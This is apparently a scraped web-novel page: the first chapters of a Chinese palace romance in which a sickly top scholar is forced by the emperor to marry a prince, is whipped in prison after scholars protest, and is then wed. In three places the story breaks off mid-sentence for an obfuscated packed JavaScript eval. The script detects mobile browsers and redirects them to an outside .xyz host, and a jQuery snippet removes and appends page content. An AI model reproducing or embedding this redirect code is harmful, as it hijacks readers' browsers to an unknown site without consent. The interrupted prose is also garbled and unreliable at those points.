《醉里无君吾自愁》 1. 序章一 顺安十六年四月末,春风和煦,谷草微动。 “捷报——贵府浮生公子竹君青,高中殿试第一名第一等状元,特封翰林院侍讲,恭喜大人贺喜大人——” 报录人的声音随风游荡至安城每一个角落。 以此,户部尚书庶子竹君青弱冠之年一举夺魁高中状元的惊世消息传遍大街小巷。 …… 有关这浮生公子竹君青的传闻从他进国都来就没消停过。 坊间传闻,浮生公子俊美无双,只可惜不得竹尚书喜欢,从小便被姥爷养在偏远小城,落得一身疾病,身娇体弱,却有惊世之才。 据说掌院学士都对他的文章赞不绝口,号称“前无古人”。 每逢殿试出榜本就是朝堂人间最热闹的时候,谁料得几日后热劲还没过,一消息又再次点燃安国:竹君青升官为正一品——亲王妃。 一时间,国都上下一片哗然。 —————————————— “臣恳请陛下三思。” “够了!”皇帝盛怒,周边的宫女公公瞬间“噗通”一声、齐刷刷地跪下。 往皇帝老儿的前头看去,便瞧见大堂中跪着一个男子,跪而投地,看不见神情和面容,可骨子里偏偏让人琢磨出几丝坚劲儿出来。 “朕既决定,便是已成定局,你在朕面前再如何巧舌如簧也无用。” “……” 跪下那人的身子轻微地抖了抖。 皇帝又顿时想起这人的病,叹了口气,摆摆手无奈地说:“起来吧,你这身子还是莫要勉强了。” 话音刚落,一阵喧闹就从殿外传来:“他娘的,真是滑天下之大稽,父皇怎可把一个男儿许配给我……” 一声巨响,殿门大开。 草草行过礼后,便听见那人道:“父皇,您为何要将一位男子许配于我?” 看到来人,皇帝的眉头都抽了抽。 那人还真是没点眼力劲,走上前继续道:“儿臣恳求父皇收回成命,儿臣是不会娶一个男人的。” “……”殿内有一瞬间的死寂。 “臣亦是如此,微臣相信陛下定会做出明智之举,还请陛下三思。”一道清脆的声音突然响起来。 是那位跪在堂中的公子。 他直起身,抬起头来继续道:“在下与四皇子成亲,实在是不妥。” “我朝当今还无两位男子成亲的案例,更何况四皇子身居高位,为陛下之子,自是国家之表率,若是让鄙人与其一朝成亲,唯恐朝中内外的说词……” “砰”——皇帝怒极,狠狠锤向龙椅。 旁边的公公和宫女都会吓得晕过去了,那两人好像没事人一般呆在那里。 四皇子像是刚刚才发现大堂中还有另外一人,恍然大悟:“昂,原来你就是那位要与吾成亲的状元郎啊。” 这话说的倒是小声了几分,那皇帝没听到,还沉浸在自己的愤怒中。 可惜那人还半跪着,只留给四皇子一个后脑勺。 四皇子的气性朝中内外皆知——喜怒无常,直来直去,不知晓察言观色,纨绔高傲。 他慢悠悠地开口:“可敢回过头来。” 那人这才有动作,抬起身子,面向四皇子。 这人的脸生得倒是清隽,虽略有阴柔又无女气,有棱有角,俊美且极具书香之气,清淡却不失艳丽之色。 实乃我朝绝色。 可这张脸的主人说出来的话却不是那般好听:“在下自是不敢给您甩脸色,只是皇子殿下未免误解了我,争一时之快却强迫让臣以后脑对陛下,可是失了礼数……” 那四皇子听了顿时气起来打断他的话:“你乱说什么呢?!” 眼看俩人就要打起来一般,皇帝才疲惫地喊住:“鹤沅!莫要胡闹。” 听见皇帝在叫,四皇子才收住动作,老实站好。 至于那位公子——也只是跪在地上。 鹤沅不甘地开口:“儿臣非是断袖,我朝并无提倡男子与男子成亲,吾自是知道父皇不喜儿臣,可是……” 话还没有说完,就被皇帝的怒喝打断了:“你这是什么话?何来朕不喜你这一说?你这样说,让旁人怎么想朕?” “他们自是不敢说出去,儿臣只是想向父皇问个明白……” “荒谬,自以为是!给朕滚出去……来人,把四皇子带下去,禁足一月,不到婚期不准出来。” “父皇。”鹤沅有些着急了。 “闭嘴。” “哼!”见皇帝这般油盐不进,鹤沅气呼呼地甩袖而离。 这下殿中只剩下跪着的竹君青一人。 “……” 竹君青稍稍思索了一下,正准备开口,却听见皇帝说:“你也一样,给朕滚出去。一天天日日都来烦朕!” 竹君青:“……” 好好好。 竹君青起身离开。 皇帝又感觉不对劲了:“哎!你……” “吱——”竹青跨过门槛走出殿外。 皇帝又沉默了——怎么也不打声招呼再走。 两人这性格也真是…… “唉…”皇帝有些头疼地扶额。 ———————————— 出了宫门,竹君青就见到有一人拿着一份包谷站在不远处。 看标志,应该是自己最爱吃的点心。 他轻轻唤道:“小玉。” 小玉听见了他的声音,回头一看,见来者是他,便高兴地跑了过来:“公子,你可算出来了。” 小玉是个很清秀的小姑娘,甚至有些天真,脸上表情生动有趣:“公子,你瞧,你最喜欢的点心。那人今天还出了新口味,我也给您买来了,等会儿您尝尝。” 看见小玉这般欢喜的模样,竹君青不禁轻轻一笑,点头应了下来:“好。” “公子,我前头瞧见有一生面孔,火急火燎的,看那侍卫恭敬的模样,是不是那四皇子呐?您可是碰上他了?”小玉好奇地问道。 竹君青微微点头:“碰上了,不是一个聪明的人。” 小玉一听,便更着急了:“那如何是好?再过个一月公子岂不是就要和那种人生活。” 竹君青也不知该怎么安慰她,只能忧愁地抿了下唇。 安城的街道上自是热闹,一早上便有不少百姓出来闲逛。 如今我朝局面安定,战事鲜少,国力强盛,正是盛世之时。 “上回我们说到那尚书府的状元郎啊,要嫁与那四皇子鹤沅了……那两位男子结亲可谓是新鲜事啊……早些年就听闻尚书府的庶子体弱多病,可如今是连男子之气都要失了……” 两人走进一家茶楼,楼门大开,百姓来来往往进进出出,因此两人并不显眼。 只是坐在首席的人说的话着实令人不愉快。 “你这说的是什么话?浮生公子平日里待我们也不薄,你怎可落井下石,讹言惑众,如此抹黑浮生公子。”有人立刻站出来打抱不平道。 那说书人倒是不满了:“在下何来抹黑一说?我说的可有半句假话?这浮生公子尖酸刻薄,昔日里承他的面子,人人都对他恭敬三分,今日他不得势,我也只是实话实说罢了。” “你!” 眼看着堂内俩人要打起来,一道温润如玉的嗓音止住了他们:“两位莫要为鄙人起了争执。” 竹君青虽身形清隽,可毕竟身高七尺,瞧见他,那说书人吓得立马站起来行礼。 “大人……是…是在下冒犯了。” 竹君青回礼:“无事。” 其余人反应过来见是竹君青,也纷纷站起身来行礼:“浮生公子。” 竹君青面朝他们回礼。 在座的要么是世家子弟,要么也是中了个进士举人的,却个个都对竹君青恭敬得很。 在他们眼中什么正六品侍讲正一品王妃,都不如“浮生公子”这个名头大。 也无怪其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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瞧见自己父亲怒气冲冲的样子,竹君青脸上也没有几分畏惧只色,反而淡淡地说:“孩儿自小失去亲母,娘胎中带病,去年父亲还说我注定活不到今年春,现在又能取人性命了……我倒还不明白了。” “?” 阴阳怪气谁呢小王八蛋。 尚书气急,正想要把这逆子好好用家法教训一顿,却被自己的嫡子拦下:“父亲莫气,素闲这般性子也非是一日两日了……素闲,你也是,不知道懂点事,怎能和父亲置气?” 素闲是竹君青的字。 竹素闲不改面色,淡定地说:“想来兄长如此聪慧懂事,来年也应能榜上提名了吧。” 已过而立之年却还未中举人的竹宇:“……” 方才冷静下来一些的尚书竹辉:“……” 小玉在旁暗暗为自家公子窃喜。 瞧见他们的表情,竹君青也知道这俩父子心里在想什么,确认他们被自己气到后便拉着小玉离开了。 好巧不巧,大院里刚好开饭。 “素闲呐。”叫竹君青的人正是尚书夫人。 竹君青行礼回应:“母亲。” “听说今儿个你又跑皇上那去,这可行?要我说,这都快要嫁人了,就算是男子也不可如此张扬,四皇子好歹是陛下亲子,也不是谁都能高攀得上得香饽饽,我要是你就老实点守好本分,安安静静地等着婚期,不给人家找麻烦。”说罢,她抬起眼来观察竹君清的脸色,却见那人一脸疑惑的神态。 竹君青一副不明所以的样子,甚至有些虚心诚恳地问道:“母亲要是想替我嫁给四皇子,可以去告诉圣上你守本分,说不定圣上真觉着你好就把四皇子这块香饽饽给你了,毕竟您好像还挺想争着去……吃的?” “……” 夫人不敢说话了。 2. 序章二 鹤沅昨日一行,虽说没像前几日把自己直接闹到禁闭禁足去,但实属也好不到哪里。 可怜他虽为皇后嫡子,却从小到大受尽帝王冷眼。 弱冠之后上了几年战场,今朝好不容易拿下西南之战大捷,原以为父皇能多喜爱自己几分,回到都城,等来的却是荒谬的一纸赐婚。 他不明白,去找父皇理论,又被关了禁闭。昨日又口不择言,惹后者发气,今日是彻底安分了。 “王爷,惊蛰将军来了。” 鹤沅正独自院里练剑呢,听见下人传话,立马惊喜地放下手中的剑去迎接来者。 “兄长。”女子轻轻一唤。 惊蛰将军虽是将军,却是安朝第一女将——长公主鹤蛰鹤长雨。 “阿妹。”鹤沅不掩欣喜。 他们乃一母同胞,又经年在西南地区并肩作战,自然亲近许多——不过他这个妹妹可比他厉害得多,及笄时就去过最荒凉的战地,不顾皇帝与朝堂的反对,多次前往战场,近十年来战功赫赫,连朝中最看不起女子的右相面对她都只能忍气吞声。 鹤沅领她进屋。 “听说兄长得了一门婚事,好像对此颇有不满。” 鹤蛰顺势坐在椅中,拿着桌上的茶细细品,而嘴中的话无半分委婉。 闻言,刚在她对面坐下的鹤沅眉头略紧,心中愈加烦躁。 “……与一男子成婚,何不荒唐?” 鹤蛰微微轻笑,又问他:“那你见过那状元郎了吗?他是何般人物?” 鹤沅回想起那日的情景,心中更是不屑:“他们那些文人一贯如此,虚伪狡诈,做作不堪。” 鹤蛰顿住,好似不知晓他会如此说,只问:“何来这么一说?” 鹤沅便把当日的经历讲述与她听。 鹤蛰听完不禁发笑,细细给他数起来:“兄长,你这就是想不明白了,他敢于直言,多次反抗父皇,怎是虚伪?又敢当着父皇的面排挤你,怎么做作?至于狡诈……” “哼,”鹤沅显然没有听进去,轻哼一声,又说“你是没见到,他那模样懦弱不堪,手无缚鸡之力,这般连自保能力都没有的人能有什么用?” 听完后,鹤蛰放下茶,手指放在木桌上轻轻地敲着。 “皇兄可知晓我此番前来所为何事?” 鹤蛰只有与要事需与他商谈时才唤他皇兄。 鹤沅顿时焦虑起来,想到她刚刚那一番话,只狐疑地得出一句:“你是父皇派来劝我的?” “并非如此,我是为了竹君青来的。” 鹤沅微怔。 他听见自己的声音说:“为何?” “张仪连横,一三寸不烂之舌促使秦国一统天下;柏举之战,楚国二十万大军抵不过三万吴兵的灵活机动。皇兄,你我虽武力无双,但这天下终归不只是武人的。” 鹤蛰娓娓道来。 “西南诸国兵器不精,马匹粮食缺少,大安能赢着实不奇怪。可西南有善计之人,损害我军不少人命,若能有军师指导,让更多的将士们活着回去、更早地回去,何不是一桩美事?” 说着,鹤蛰从袖中拿出一叠卷轴,递给鹤沅。 “这是竹君青舞勺之时去西北边境写的一篇文章。” 鹤沅结过,展开仔细观看。 愈看,心中愈发震憾。 尽管小少年的文笔还是略显稚嫩,用计可能也不太周到,可的确让鹤沅这个没读过几本书的粗人都能感受到其中的奇妙。 短短几千字,记载了西北边塞的天境与民生状况,并道述出所在根源,给予多数治理提议。 用词之犀利,观事之敏锐,想法之高深,非常人能比。 然而,这还只是他十三岁时的作品。 鹤蛰见对方看得差不多了,便提议让鹤沅再多了解一下他的未婚夫君,去宫外的殿试放榜处看看竹君青殿试时写的文章。 鹤沅犹豫一会儿,终是一口应下。 安朝科举素来有传统,会在榜单一旁粘贴上前十甲的考卷。 一来,以证明考试之公正无私,进士的真才实学;二来,勉励学子,以供鉴赏。 今年的殿试考题便与战论相关。 安朝科举,既主策论又重诗赋,故而能上榜的文章自然比竹君青十三岁写的那篇要复杂许多,鹤沅仰着头看了半天的城墙,没两句看的明白。 初见的那一天,或者说在初次听闻他姓名时,鹤沅都很看不起他。 可这一个时辰里,他确确实实感受到了此人的优异。 如此耀眼,遥不可及。 他们一个在深宫中长大,书都读不通几句,拳打脚踢倒是厉害;一个在深林中长大,看着好像连把弓都拿不起,却才学惊人。 两个截然不同的人,因一纸荒谬的婚姻就此联系起来,成为互相的绊脚石。 鹤蛰告诉他:“竹君青虽有惊世之才,可清高自傲,厄运繁多,又没有靠山,也无一人能护他。父皇喜爱人才,但也忌惮他族中权势,左相、东北大将军和户部尚书,后宫贵妃都是竹家中人,纵使竹君青再不受他父亲喜爱,可他进入朝堂,竹家固然权倾天下。” “而母后为人狠毒多谋,母族势力深厚,朝中皇后党甚多,你又是皇后嫡子,今日又为我朝拿下一战,势力大增。” “母后重病,正是皇后一派懈怠之时。他恨母后,恨我们,必然会动手,却又唯恐母后病好后报复他,再助你,前功尽弃,唯有赐婚这一明赏暗罚之举最为巧妙。” 讲到最后,鹤蛰甚至忘记对父帝应有的敬重,难掩恨意,直接用“他”称呼。 她讲的很慢,能让鹤沅有足够的时间接受这个事实。 可明白了,心也凉了个彻底。 这时,街道忽然一片喧闹。 行人来去匆匆,似是要去哪里看戏。 鹤沅鹤蛰两兄妹平日里就穿的朴素,朝中对两者传闻虽多,但国都也无人见过他们几面。 鹤沅心中不妙,上前拉住一人询问。 那人只说:“是浮生公子!那群书生要为浮生公子讨个公道了。” 顺安十六年,殿试放榜后,因帝王赐婚状元郎于皇子一无理之举,群情激愤,国都上百文人学士罢工逃学,游街抗议。 “安得广厦千万间,大庇天下寒士俱欢颜!”① 鹤沅两人往人群聚集的方向赶去,便听见这一声怒吼。 站在最前头的那个学士高举手中的书文,愤愤道:“寒窗苦读数十载,一朝高中就是为了侍奉人夫吗?” 话音刚落,他身后无数学士弟子就传来附和的呼喊声。 他们之中有的是进士贡士,有的还是在念书的小少年或者什么都没考上的白身。 但此刻,他们都在为一人呐喊。 人群不断往前挪动,好似要直达皇宫。 突然,人群一阵惊叹,鹤沅跟在一旁隐约听到——“浮生公子来了”。 他回首看去,一抹青色的身影从人群的末端闯至最前头。 竹君青难以形容自己此刻复杂的心绪。 他没有预料到,被皇帝惹怒的读书人会真的站出来为他主持公道。 他不知道,自己身边昔日的那些泛泛之交可以做到这种地步。 不惜堵上这一行人的仕途性命。 他揪住为首那人的衣襟,看清面容后只道:“明怀兄……” 宋明怀看见竹君青也是惊异不已,道:“素闲,你怎么来了?” 竹君青着急道:“我自己的事能不知晓吗?倒是你们,他们,真的清楚这么做会有什么后果吗,真的值当吗?” 宋明怀握住竹君青的手机,将他从自己的衣袖上拿下,郑重道:“没有什么不值当的,我们天下的学者本就应该甘苦与共,这不是你一人遭受不公,是学士遭受了不公。” 闻言,竹君青几乎要眩晕——一股酸劲儿冲上他的鼻腔和眼眶,润湿了他的视线。 可还没等他缓下去,一阵马蹄声传来,尖锐的公鸡嗓打破了这一切:“皇上驾到——” 无数士兵冲来将他们包围。 皇帝的轿子缓缓停在他们面前,明黄色的龙袍出现在他们的视野中。 百姓与身后的学士齐齐跪在地上,只有宋明怀屹立着,纹丝不动。 竹君青也硬生生压下行礼的动作,陪在他身旁。 一时间,整个街道只有他们二人站的挺拔,不卑不亢。 皇帝从轿下走出,怒而笑到:“你们倒是有骨气。” “敢在我面前造反,好啊好啊,来人,将他们全部抓回大理寺,先教这群读书人学会忠君。” 来不及反应,竹君青将宋明怀推至身后,毫不犹豫地跪在皇帝面前:“皇上赎罪!是臣年轻气盛,不明是非,教唆他们闹事,此事乃臣一人所为,其余皆为无辜者。” 宋明怀身形晃了晃,眼前之景变得模糊起来,下意识想开口说些什么,却听见天子说:“好,那就让大理寺的伙计给王妃也上一堂课吧。” 说罢,皇帝身旁两人就将竹君青架起带走。 宋明怀不愿就此结束,还想挽回,却看见竹君青回眸——那般的眼神,凄凉平静,化成思绪遏制住宋明怀,动弹不得。 竹君青知道,皇帝只是想挣回自己的脸面,想给他们一个下马威,抓多少人是次要,只要给他们一个教训就够了。 竹君青作为一切问题的根源,无疑是最好是人选。 而鹤沅这时已经赶往大理寺大牢——他放不下心,等皇帝进去后必定拦截一切人员,他只有提前埋伏在那里,才能有机会解救竹君青。 到了大理寺后,他拿着通行符,借口查看战犯情况,溜了进去,躲在审问室旁一牢房门口。 那牢笼里的犯人看到有人来,顿时精神了些,战战兢兢地想问对方是哪位大人,却看见那人皱起眉头,肃杀的眼神削在自己身上,遏令道:“别说话。” 然后他就看见那位大人鬼鬼祟祟地蹲下身,靠在隔壁审讯室墙上。 “……” 良久,牢房门口传来喧嚣声,审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977867|161431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讯室的门被打开——与其说是审问,更不如说就是准备私自用刑。 不一会儿,鹤沅就听见泼水声。 “咳咳……”竹君青受不住咳嗽起来。 皇帝还在他跟前,慢悠悠地说:“爱卿可知,朕为何抓你。” “…臣…臣知晓。” 话音刚落,脆落的鞭打声响起,吓得鹤沅一激灵。 听力道…倒是真没留情。 那竹君青也是有毅力,皮肉都打得绽开了,也忍住只发出一声闷哼。 “明知不可为而为之,罪加一等。” 竹君青身体本就欠佳,现在几乎只能发出些支支吾吾的声音,却更加不甘心,忍不住道:“可是陛下,我有罪,那么那些被寒了心的读书人也都有罪吗,法为国治还是为君治,皇上您心中清楚吗?” “油嘴滑舌!” 很快,鞭打声响起——这回可不是一下,即使看不到屋内情景,听这声音也忍不住令人生寒。 审讯室周围牢房的人听见声响也起了兴致,打起精神学着鹤沅一样偷听着。 竹君青到底还是脆弱之身,不免得叫唤起来。 皮鞭又细又糙,每一下都打进他的肉里,血沫横飞。 不知什么时候才停止,竹君青已经因为失血过多已经快要晕厥,血渍好像溅到他的眼中,泪水涌出,满目血泪。 “素闲啊……是素闲吧,朕知道,你只是一时糊涂,你弱冠前的文章朕也看过,朕最喜欢的就是那篇《南水天流》。” 《南水天流》是顺安六年时,竹君青去江南地方学习,偶然看见修缮水利工程的市民,再观江南一带水运兴盛,农作丰收,不禁赞叹,文中尽数流露出对当代皇帝明治的崇拜。 原来…原来他知道。 竹君青隐隐约约地想着,原来这狗皇帝知道,自己曾经很崇敬他。 可是现在,却物是人非了。 帝王见他那副模样,不免动容。 “朕明白,你不甘心,可身为人臣你也要多理解朕。” “你的父亲任职户部尚书多年,小叔身为丞相也饱受百姓爱戴,你堂哥更不必说,西北将军历年都是民间话本中的大英雄……你们姓竹的,势力太大了,他们都不好压制,只有你,只有你还能及时止损。” “朕也很可惜,但防御之心不可无啊,人才没了还能再生,状元没了来年还能再考,可皇位没了,江山没了,才是真的什么都没了。” 听完,竹君青耳旁鸣声大响,天崩地陷。 半晌,他才听见皇帝道:“朕也不要你的死活,等会儿就放你走,你自己好好想想吧。” 随后“嗞呀——”一声,审讯室木门大开,竹君青被架出去,丢进一处铁牢房里。 伤口被撕裂开,他强撑着支起身来,握住冰冷的铁栏杆。 他听见帝王说:“爱卿好好想想,到底是呆在宅院中舒服还是呆在这牢狱中舒适。” 竹君青的眼睛早已北血糊住,看不清事物。闻言,他唇齿微动,差点骂娘骂出声来。 他靠在牢门上,听着帝王的脚步声,良久,一片寂静。 而宁静空虚的感觉更能激发一人不安的思绪。 他开始回想自己的一生。 从小竹君青就厄运不断,生母难产走了,他出生是差点都没活过一个晚上。父亲嫌他不吉利,宅院中他没有亲娘,身体又差极,人人都能欺他。 后来被姥爷接走,即使时在深山野林中,他也觉得比在那吃人不吐骨头的府邸好得不知晓多少。 姥爷教他读书,教他为人处世。他上私塾被别人欺负,回来跟姥爷哭,他感觉自己如此差劲,这一生都不会有什么作为。 姥爷却拿着书告诉他:“风雪压我两三年,我笑风轻雪如棉。” 姥爷说,人出生在山脚下,无人扶你青云志,那就踩着众人上山峰。 年幼的他破泣为笑,信了十几年。常年每日只睡两个时辰,只为能多读一点书;为了培养策论,自己一个人偷上船队去往边塞各地,饿了就去街上要饭,去酒楼里偷吃剩饭剩食。 他自认自身比常人都要聪慧许多,也因此更加坚定地相信只要足够努力就必然能有一天可以出人头地。 殿试放榜的那人,他听见报录人说自己中了状元——他感觉所有的苦都走到头了,自己终于爬上了这座名唤“人生”的山峰。 可是最终的结果确是“天命”压下,击毁了他。 竹君青坐在阴湿的地牢中,靠在铁栏上,没有察觉到牢房门口站了一个高大的男人,离自己仅有一线之隔。 鹤沅站在铁栏外,想要伸手去捞里面这个人,可最终只敢握住那根铁杆。 他听见那人喃喃道:“沧海逢生二十载无悔,春风无情两三日断生。”② 说到最后,竹君青再也控制不住自己,泪水像断线的珠链,止不住往下掉。 然后——放声痛哭。 鹤沅静静地注视着,一滴泪却砸在他的手背上。 命运弄人。 3. 红衣与你 【金粉朝阳蛊我平生志,儿女情长溃你万人阶。】 顺安十六年五月末,蝉鸣阵阵,日光照耀,红绸万里,锣鼓喧天。 竹君青穿好婚服,乖顺地坐在梳妆台前,任由嬷嬷打扮。 婚服倒是寻常的男子款式,只是竹君青身材纤细,显出几分柔弱。 嬷嬷是鹤沅的府里派来的——也就是霖王府。 小玉在一旁侍奉着,不过事情都有霖王府来的下人打点,她倒没事情做了,只得站着看着自家公子。 愈看,悲凉之情愈是控制不住从心间涌出。可外人在,小玉憋得眼眶通红,不敢哭出来。 前些日子,小玉向大夫人自请陪嫁,夫人允了她。除此之外,又支了十几个木箱装着嫁妆送进王府,外面镶金嵌银,又有珠宝点缀,粗看着繁华至极。 可实际上,箱子里头装的除了衣物都是竹君青的书籍和文稿,只有可怜的两三箱里面有些财宝。 尚书大人又不会在意这个向来晦气的庶子,况且拿再多好东西又有什么用,一个男子嫁过去还真指望着人家王爷看上他。 ……那霖王倒似真傻。 之前定下婚约时王府的确送来不少彩礼,不过稍微一打听就知道,那还是皇帝派人打点的。 可今日成亲,竟还铺了十里红绸,八抬大轿过来接亲。 …… 嬷嬷第一次给男子化妆,也略显尴尬,但竹君青相貌姣好,嬷嬷草草了事后便拿了盖头过来。 “公子……王妃啊,这盖头切记不得掀开了,等回府进了洞房,王爷会亲自给你揭开的。” 红绸遮住了竹君青的视线,只能将视线往下移,才能看到底部的些许光明。 竹君青哑了声,半晌才憋出一句:“多谢,麻烦了。” 嬷嬷寻思做得都差不多后,便带着府中的下人退下离开了,只留小玉一人陪在竹君青身边等候着。 接亲的队伍还没来,竹君青这一月来都没睡好,这么一折腾又有些精神不佳,再加上视线昏暗,忍不住坐在椅子上打起盹儿来。 模糊间,听见一声哽咽,是小玉在问他:“公子,你想嫁吗?” 答案自然不言而喻,竹君青自嘲地扯了扯嘴角,答:“我命由天,不由我。” 小玉再也忍不住,掉下几滴眼泪来。可她又不敢发出声,怕被外头的人听到,也怕突然进人被看见,赶忙拿袖子擦了擦。 良久,嬷嬷敲了敲门,朝里头喊:“王妃,小玉姑娘,接亲的来了。” 小玉上前几步,将公子扶起。 她家公子的身体不好,即便已经入夏,手掌依旧是冰凉的。 从房子里到府门口,这段路好像很长很长,他们走的恨慢很慢。四周传来众人的贺喜声,爆竹锣鼓响了一回又一回,一副欢天喜地的情景,可小玉却如临深渊,扯不出半个笑容。 上了轿,小玉才得以松懈下来。 按照规划的路线,从尚书府到霖王府,在算上车夫和跟从下人的休息时间,约莫要一个时辰有余。 竹君青身为“新娘”,只有到了府上、办完事才能进食。他身体本就不好,小玉心疼他,出府的时候偷摸用帕子拿了一些糕点兜着,中途又支了些银钱让下人买点吃食送进轿子里来。 除了路途中围观的百姓议论纷纷的声音有些引人不喜外,倒也算顺利。 到了地方,轿子放下来,小玉敲了敲轿门,轻唤:“公子,到了。” 今日艳阳高照,王府门前有几棵葱郁高树排在两边,等候已久的鹤沅忍不住上前去,天上的烈光不小心晃了他的眼——再看,喜轿的门从里面推开,一色鲜红的身影露出来。 犹豫下轿的竹君青下意识想往小玉那个方向靠,让小玉扶他,可还没等他找到小玉,一只宽厚粗糙的手就抓住了他。 “……素闲。”鹤沅试探性地唤了一声。 竹君青被叫得一愣,没有了动作。 鹤沅只好拉着他下来、往前走,心里还暗道:“怎么叫他也没个声,不该是我叫错名了吧……可我分明记得是这个字呐。” 到了府门口,鹤沅拉住他停下来。嬷嬷吆喝道:“新娘过门——” 两人张腿一迈,便跨过这高高的门槛,进了宅院。 到了屋内,鹤沅把他放开,花童递上红缎系着的花球,两人一左一右地站着,便准备拜堂了。 “一拜天地——” 随着声音响起,两人一同弯下腰来。 “二拜高堂——” 两人转过身,向父母行礼。 皇帝皇后端坐在高位上,两人微微颔首。 嬷嬷接着喊∶“夫妻对拜——” 高台上,两位男子相面而拜,一位蒙着面,看不见神情;一位呆着眼,看不懂情态。 一月来,鹤沅为此思虑了许多,也着手准备了不少。他虽对此桩婚事仍有介怀,但那日后也不忍心再看到竹君青吃苦了。 打小不受皇帝重视的四皇子霖王,书没认真读过多少,也想不到那么多——他不知道为了一桩荒唐婚事,投掷千金值不值得,也不清楚朝中众人此后会对他、对竹君青怎么个说法。 他只决心,哪怕今日一切在旁人都是笑话一桩,即使只有自己一人托付上一生,也要扎实做到,不悔不怨,才算给对面这个一同拜堂的人一个交代。 平身时,台下的贵客都欢喜有加,唯独他瞥眼注意到竹君青的盖头里落下一滴泪来。 心痛如绞。 两人牵着进了洞房,任几个嬷嬷公公做了些鹤沅看不懂的法术,才稀里糊涂地上了床。 鹤沅看着坐在自己右边的竹君青,竟红着脸愣神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977868|161431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 旁边的嬷嬷估摸着也是从小看着鹤沅长大的,忍不住悄悄提醒一下∶“王爷,该给王妃揭盖头了。” 鹤沅这才回过神来,强装镇定道∶“哦…哦。” 说着便上手去,双手将红盖头掀起。 只是刚看清竹君青的脸庞他就又不争气地顿住了——为了去掀盖头,鹤沅与他靠得极近,这个距离足以让鹤沅数清竹君青眼上的睫毛。 因为骤然接触亮光,竹君青眼睛有些不适,忍不住眨了眨,而每动一下鹤沅的脑子就胀一下。 反应到自己不对劲,鹤沅急忙把盖头递给旁边等待已久的侍女。 满眼情色,畜牲不如。品性高洁的霖王暗骂自己。 这也怪不得他如此娇羞,毕竟全天下的人都想象不到,芳龄二十六的王爷会是一个处子——这玩意儿打小就缺根筋,当初宫里给他安排的通房丫头他以为是皇帝给自己下的美人计,好抓住自己的把柄以来要挟母后,。 于是聪慧无比的四皇子就恶狠狠地对宫女威胁道∶“我知道,你这种被权贵糊眼的人就是被我父皇指使来祸害我的,我今日饶了你,你最好安分守己,认清自己的实力。” 那宫女一脸惊愕,大概也想不到竟还有这么傻气的皇子——不过她本就已有私定终身的人,看鹤沅没有强上她的意思,自然喜不自胜,满口答应。为了保全清白,皇帝问起时那宫女也是装模作样描述一番,把这皇帝也骗了过去。 皇后听说了,打算给那宫女封一个侍妾什么的,可惜鹤沅死活不要,皇后以为是自家儿子看不上人家,就给那宫女点钱打发了。 后来这小子不是去剿匪就是去打战,鹤沅真是对女色一点儿兴趣都没有,就更没有时间接触这些了。 一时间想得有些入迷,竹君青看他半天不接人家侍女的交杯酒,不禁用目光问候了一下他。 鹤沅倒像是心有所感,回过神赶忙拿起酒。 竹君青早已做好准备,心一横伸出手绕过鹤沅的手臂,一饮而尽,鹤沅差点没跟上他的节奏。 周围的嬷嬷侍女见状笑得直乐,觉得好像她们王妃和王爷的关系也没想象中那么僵嘛,忍不住开始起哄。 鹤沅脸又红了。 倒是竹君青,虽然没有之前那样满目萧然的忧愁,只是淡着一副死人脸颇有几分想见血的意思。 其他人倒是没觉得有什么问题,还觉得冷脸美人也是一种不错情趣。 两人按习俗换了套更简洁的衣服,稍微整理了一下,就去见父母长辈了。 尚书大人尚书夫人一见到他俩过来就咧着个大嘴一副皮笑肉不笑的模样,吓得竹君青抖了一下。 鹤沅早就打听到这尚书一家都不是什么好人,尽做缺德事,也没给他们好脸色, 尚书和大夫人的笑容便更加狰狞了。 4. 从今往后 皇帝和皇后一个比一个精明狡诈,哪能不知道那户部尚书和他大房的德性,看两个孩子一副臭脸对着他们,干脆也就睁一只眼闭一只眼当作没看见。 先拜的肯定是皇帝二人。侍女递上茶,两人恭恭敬敬地跪在地上,向父母敬茶。 竹君青叫道∶“父亲,母亲。” 皇帝皇后皆露出满意的神色,接过茶按规矩浅饮两口。 皇后从衣袖中拿出一个鲜红的扁包递给竹君青。 这是改口钱,竹君青自然收下。 不过摸着这个红包,竹君青不禁悄悄用手捺擦了一下——这个厚度和硬度……还如此之重,不像是钱币啊。 也是后来,竹君青算账的时候打开一看才发现里面是金条——当然,这些都是后话。 到了鹤沅的时候明显就要敷衍一些,竹辉他们也给鹤沅准备了一个红包,不过从小到大就养尊处优的霖王显然对此不太不稀罕。 拜过父母后,两人先回房休息了一会儿,又换了身衣裳,看着临近饭店,便准备出去见客敬酒了。 安朝国风一向开放自由,尤其是相比于前朝对女子的待遇优化了不少,在婚事之类的事件上也开始崇向大方得体即可,新娘亦可出去贺酒。 竹君青虽不是女子,但身为新娘毫无疑问也是如此。 等两人到了场地,宾客们早就开始豪食畅饮。 